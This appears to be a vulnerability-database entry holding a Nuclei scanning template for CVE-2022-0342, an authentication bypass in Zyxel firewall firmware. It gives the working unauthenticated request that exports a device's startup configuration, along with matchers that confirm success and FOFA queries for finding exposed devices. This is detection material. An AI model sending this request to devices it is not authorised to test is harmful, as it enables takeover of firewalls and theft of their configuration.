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Zyxel - Authentication Bypass

🗓️ 26 Oct 2026 02:10:32Reported by ProjectDiscoveryType 
nuclei
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Zyxel - Authentication Bypass in USG/ZyWALL Firmware Version

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id: CVE-2022-0342

info:
  name: Zyxel - Authentication Bypass
  author: SleepingBag945,Powerexploit
  severity: critical
  description: |
    An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.
  impact: |
    Unauthenticated attackers can bypass web authentication and obtain administrative access to Zyxel devices, potentially gaining complete control over firewalls and network security configurations.
  remediation: |
    Apply security updates provided by Zyxel for affected USG/ZyWALL, USG FLEX, ATP, VPN, and NSG series devices.
  reference:
    - https://github.com/gobysec/GobyVuls/blob/master/CVE-2022-0342.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0342
    - https://www.zyxel.com/support/Zyxel-security-advisory-for-authentication-bypass-vulnerability-of-firewalls.shtml
    - https://github.com/f1tao/awesome-iot-security-resource
    - https://github.com/murchie85/twitterCyberMonitor
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0342
    cwe-id: CWE-287
    epss-score: 0.95134
    epss-percentile: 0.99863
    cpe: cpe:2.3:o:zyxel:usg40_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: usg40_firmware
    fofa-query:
      - body="/2FA-access.cgi" && body="zyxel zyxel_style1"
      - body="/2fa-access.cgi" && body="zyxel zyxel_style1"
  tags: cve2022,cve,zyxel,auth-bypass,router,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/export-cgi?category=config&arg0=startup-config.conf"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "interface-name"
          - "saved at"
        condition: and

      - type: word
        part: header
        words:
          - "text/zyxel"
          - "attachment; filename="
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204d8fb78649348a52e2d56527c178fae99c00f48242463ebe984b7008bba9f93802201a20df8ce11bf4e126a4299cf92779e6f45cc2fe74593705a289a3f0fbe18d72:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
EPSS0.95134
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